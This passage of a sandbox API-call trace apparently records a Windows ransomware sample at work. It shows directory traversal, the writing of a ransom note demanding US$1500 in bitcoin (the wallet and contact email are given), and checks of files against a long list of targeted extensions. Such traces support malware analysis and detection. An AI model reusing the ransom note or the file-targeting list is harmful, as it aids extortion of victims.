ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xde912eee, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0112.312] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.312] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xde912eee, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xde912eee, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xde912eee, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.312] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.312] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.312] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xde912eee, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xde912eee, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xde912eee, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="ed852e32514b415cfb4ac81aef9ac0fd", cAlternateFileName="ED852E~1")) returned 1 [0112.312] lstrcmpA (lpString1=".", lpString2="ed852e32514b415cfb4ac81aef9ac0fd") returned -1 [0112.312] lstrcmpA (lpString1="..", lpString2="ed852e32514b415cfb4ac81aef9ac0fd") returned -1 [0112.313] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\*.*") returned="*.*" [0112.313] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\", lpString2="ed852e32514b415cfb4ac81aef9ac0fd" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd" [0112.313] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd") returned 92 [0112.313] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xde912eee, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xde912eee, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xde912eee, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0112.313] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.313] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xde912eee, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xde912eee, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xde912eee, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.313] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.313] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.313] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde8a0ace, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xde8a0ace, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xde8c6c2e, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0xd9200, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.AddIn.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0112.313] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0112.313] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.AddIn.ni.dll") returned -1 [0112.314] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.AddIn.ni.dll") returned -1 [0112.314] lstrcmpiA (lpString1="", lpString2="System.AddIn.ni.dll") returned -1 [0112.314] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\*.*") returned="*.*" [0112.314] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\" [0112.314] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\") returned="" [0112.314] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\HOW TO DECRYPT FILES.txt" [0112.314] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.addin\\ed852e32514b415cfb4ac81aef9ac0fd\\how to decrypt files.txt")) returned 0xffffffff [0112.314] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.addin\\ed852e32514b415cfb4ac81aef9ac0fd\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0112.315] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0112.315] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0112.321] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0112.321] CloseHandle (hObject=0x90) returned 1 [0112.321] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\", lpString2="System.AddIn.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\System.AddIn.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\System.AddIn.ni.dll" [0112.321] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\System.AddIn.ni.dll", pszSpec="*.ems") returned 0 [0112.321] lstrlenA (lpString="*.ems") returned 5 [0112.321] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\System.AddIn.ni.dll", pszSpec="*.db") returned 0 [0112.321] lstrlenA (lpString="*.db") returned 4 [0112.322] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\System.AddIn.ni.dll", pszSpec="*.dbf") returned 0 [0112.322] lstrlenA (lpString="*.dbf") returned 5 [0112.322] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\System.AddIn.ni.dll", pszSpec="*.myox") returned 0 [0112.322] lstrlenA (lpString="*.myox") returned 6 [0112.322] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\System.AddIn.ni.dll", pszSpec="*.myo") returned 0 [0112.322] lstrlenA (lpString="*.myo") returned 5 [0112.322] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\System.AddIn.ni.dll", pszSpec="*.qbw") returned 0 [0112.322] lstrlenA (lpString="*.qbw") returned 5 [0112.322] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\System.AddIn.ni.dll", pszSpec="*.qbb") returned 0 [0112.322] lstrlenA (lpString="*.qbb") returned 5 [0112.322] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\System.AddIn.ni.dll", pszSpec="*.qbm") returned 0 [0112.322] lstrlenA (lpString="*.qbm") returned 5 [0112.322] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\System.AddIn.ni.dll", pszSpec="*.qbo") returned 0 [0112.322] lstrlenA (lpString="*.qbo") returned 5 [0112.322] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\System.AddIn.ni.dll", pszSpec="*.qbx") returned 0 [0112.322] lstrlenA (lpString="*.qbx") returned 5 [0112.322] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\System.AddIn.ni.dll", pszSpec="*.qba") returned 0 [0112.322] lstrlenA (lpString="*.qba") returned 5 [0112.322] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\System.AddIn.ni.dll", pszSpec="*.qby") returned 0 [0112.322] lstrlenA (lpString="*.qby") returned 5 [0112.322] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\System.AddIn.ni.dll", pszSpec="*.qbj") returned 0 [0112.322] lstrlenA (lpString="*.qbj") returned 5 [0112.322] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\System.AddIn.ni.dll", pszSpec="*.ofx") returned 0 [0112.323] lstrlenA (lpString="*.ofx") returned 5 [0112.323] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\System.AddIn.ni.dll", pszSpec="*.qif") returned 0 [0112.323] lstrlenA (lpString="*.qif") returned 5 [0112.323] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\System.AddIn.ni.dll", pszSpec="*.mye") returned 0 [0112.323] lstrlenA (lpString="*.mye") returned 5 [0112.323] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\System.AddIn.ni.dll", pszSpec="*.mbox") returned 0 [0112.323] lstrlenA (lpString="*.mbox") returned 6 [0112.323] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\System.AddIn.ni.dll", pszSpec="*.eml") returned 0 [0112.323] lstrlenA (lpString="*.eml") returned 5 [0112.323] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\System.AddIn.ni.dll", pszSpec="*.pst") returned 0 [0112.323] lstrlenA (lpString="*.pst") returned 5 [0112.323] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\System.AddIn.ni.dll", pszSpec="*.ost") returned 0 [0112.323] lstrlenA (lpString="*.ost") returned 5 [0112.323] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\System.AddIn.ni.dll", pszSpec="*.idx") returned 0 [0112.323] lstrlenA (lpString="*.idx") returned 5 [0112.323] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\System.AddIn.ni.dll", pszSpec="*.dbx") returned 0 [0112.323] lstrlenA (lpString="*.dbx") returned 5 [0112.323] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\System.AddIn.ni.dll", pszSpec="*.sql") returned 0 [0112.323] lstrlenA (lpString="*.sql") returned 5 [0112.323] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\System.AddIn.ni.dll", pszSpec="*.mdb") returned 0 [0112.323] lstrlenA (lpString="*.mdb") returned 5 [0112.323] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\System.AddIn.ni.dll", pszSpec="*.fdb") returned 0 [0112.323] lstrlenA (lpString="*.fdb") returned 5 [0112.323] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\System.AddIn.ni.dll", pszSpec="*.wab") returned 0 [0112.324] lstrlenA (lpString="*.wab") returned 5 [0112.324] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\System.AddIn.ni.dll", pszSpec="*.dat") returned 0 [0112.324] lstrlenA (lpString="*.dat") returned 5 [0112.324] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\System.AddIn.ni.dll", pszSpec="*.txt") returned 0 [0112.324] lstrlenA (lpString="*.txt") returned 5 [0112.324] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\System.AddIn.ni.dll", pszSpec="*.jpeg") returned 0 [0112.324] lstrlenA (lpString="*.jpeg") returned 6 [0112.324] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\System.AddIn.ni.dll", pszSpec="*.jpg") returned 0 [0112.324] lstrlenA (lpString="*.jpg") returned 5 [0112.324] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\System.AddIn.ni.dll", pszSpec="*.png") returned 0 [0112.324] lstrlenA (lpString="*.png") returned 5 [0112.324] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\System.AddIn.ni.dll", pszSpec="*.php") returned 0 [0112.324] lstrlenA (lpString="*.php") returned 5 [0112.324] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\System.AddIn.ni.dll", pszSpec="*.cs") returned 0 [0112.324] lstrlenA (lpString="*.cs") returned 4 [0112.324] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\System.AddIn.ni.dll", pszSpec="*.cpp") returned 0 [0112.324] lstrlenA (lpString="*.cpp") returned 5 [0112.324] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\System.AddIn.ni.dll", pszSpec="*.rar") returned 0 [0112.324] lstrlenA (lpString="*.rar") returned 5 [0112.324] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\System.AddIn.ni.dll", pszSpec="*.zip") returned 0 [0112.324] lstrlenA (lpString="*.zip") returned 5 [0112.324] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\System.AddIn.ni.dll", pszSpec="*.html") returned 0 [0112.324] lstrlenA (lpString="*.html") returned 6 [0112.324] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\System.AddIn.ni.dll", pszSpec="*.htm") returned 0 [0112.324] lstrlenA (lpString="*.htm") returned 5 [0112.325] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\System.AddIn.ni.dll", pszSpec="*.xlsx") returned 0 [0112.325] lstrlenA (lpString="*.xlsx") returned 6 [0112.325] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\System.AddIn.ni.dll", pszSpec="*.xls") returned 0 [0112.325] lstrlenA (lpString="*.xls") returned 5 [0112.325] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\System.AddIn.ni.dll", pszSpec="*.mp4") returned 0 [0112.325] lstrlenA (lpString="*.mp4") returned 5 [0112.325] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\System.AddIn.ni.dll", pszSpec="*.ppt") returned 0 [0112.325] lstrlenA (lpString="*.ppt") returned 5 [0112.325] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\System.AddIn.ni.dll", pszSpec="*.pptx") returned 0 [0112.325] lstrlenA (lpString="*.pptx") returned 6 [0112.325] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\System.AddIn.ni.dll", pszSpec="*.doc") returned 0 [0112.325] lstrlenA (lpString="*.doc") returned 5 [0112.325] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\System.AddIn.ni.dll", pszSpec="*.dot") returned 0 [0112.325] lstrlenA (lpString="*.dot") returned 5 [0112.325] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\System.AddIn.ni.dll", pszSpec="*.docx") returned 0 [0112.325] lstrlenA (lpString="*.docx") returned 6 [0112.325] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\System.AddIn.ni.dll", pszSpec="*.7z") returned 0 [0112.325] lstrlenA (lpString="*.7z") returned 4 [0112.325] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\System.AddIn.ni.dll", pszSpec="*.tar") returned 0 [0112.325] lstrlenA (lpString="*.tar") returned 5 [0112.325] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\System.AddIn.ni.dll", pszSpec="*.bz2") returned 0 [0112.325] lstrlenA (lpString="*.bz2") returned 5 [0112.325] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\System.AddIn.ni.dll", pszSpec="*.gz") returned 0 [0112.325] lstrlenA (lpString="*.gz") returned 4 [0112.326] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\System.AddIn.ni.dll", pszSpec="*.mkv") returned 0 [0112.326] lstrlenA (lpString="*.mkv") returned 5 [0112.326] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\System.AddIn.ni.dll", pszSpec="*.eml") returned 0 [0112.326] lstrlenA (lpString="*.eml") returned 5 [0112.326] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\System.AddIn.ni.dll", pszSpec="*.msg") returned 0 [0112.326] lstrlenA (lpString="*.msg") returned 5 [0112.326] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\System.AddIn.ni.dll", pszSpec="*.edb") returned 0 [0112.326] lstrlenA (lpString="*.edb") returned 5 [0112.326] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\System.AddIn.ni.dll", pszSpec="*.accdb") returned 0 [0112.326] lstrlenA (lpString="*.accdb") returned 7 [0112.326] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\System.AddIn.ni.dll", pszSpec="*.odb") returned 0 [0112.326] lstrlenA (lpString="*.odb") returned 5 [0112.326] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\System.AddIn.ni.dll", pszSpec="*.java") returned 0 [0112.326] lstrlenA (lpString="*.java") returned 6 [0112.326] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\System.AddIn.ni.dll", pszSpec="*.asm") returned 0 [0112.326] lstrlenA (lpString="*.asm") returned 5 [0112.326] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\System.AddIn.ni.dll", pszSpec="*.pfx") returned 0 [0112.326] lstrlenA (lpString="*.pfx") returned 5 [0112.326] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\System.AddIn.ni.dll", pszSpec="*.pem") returned 0 [0112.326] lstrlenA (lpString="*.pem") returned 5 [0112.326] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\System.AddIn.ni.dll", pszSpec="*.p12") returned 0 [0112.326] lstrlenA (lpString="*.p12") returned 5 [0112.326] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\System.AddIn.ni.dll", pszSpec="*.gpg") returned 0 [0112.327] lstrlenA (lpString="*.gpg") returned 5 [0112.327] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\System.AddIn.ni.dll", pszSpec="*.vsd") returned 0 [0112.327] lstrlenA (lpString="*.vsd") returned 5 [0112.327] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\System.AddIn.ni.dll", pszSpec="*.odg") returned 0 [0112.327] lstrlenA (lpString="*.odg") returned 5 [0112.327] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\System.AddIn.ni.dll", pszSpec="*.raw") returned 0 [0112.327] lstrlenA (lpString="*.raw") returned 5 [0112.327] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\System.AddIn.ni.dll", pszSpec="*.nef") returned 0 [0112.327] lstrlenA (lpString="*.nef") returned 5 [0112.327] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\System.AddIn.ni.dll", pszSpec="*.svg") returned 0 [0112.327] lstrlenA (lpString="*.svg") returned 5 [0112.327] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\System.AddIn.ni.dll", pszSpec="*.psd") returned 0 [0112.327] lstrlenA (lpString="*.psd") returned 5 [0112.327] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\System.AddIn.ni.dll", pszSpec="*.vmx") returned 0 [0112.327] lstrlenA (lpString="*.vmx") returned 5 [0112.327] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\System.AddIn.ni.dll", pszSpec="*.vmdk") returned 0 [0112.327] lstrlenA (lpString="*.vmdk") returned 6 [0112.327] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.AddIn\\ed852e32514b415cfb4ac81aef9ac0fd\\System.AddIn.ni.dll", pszSpec="*.vdi") returned 0 [0112.327] lstrlenA (lpString="*.vdi") returned 5 [0112.327] PathMatchSpecA 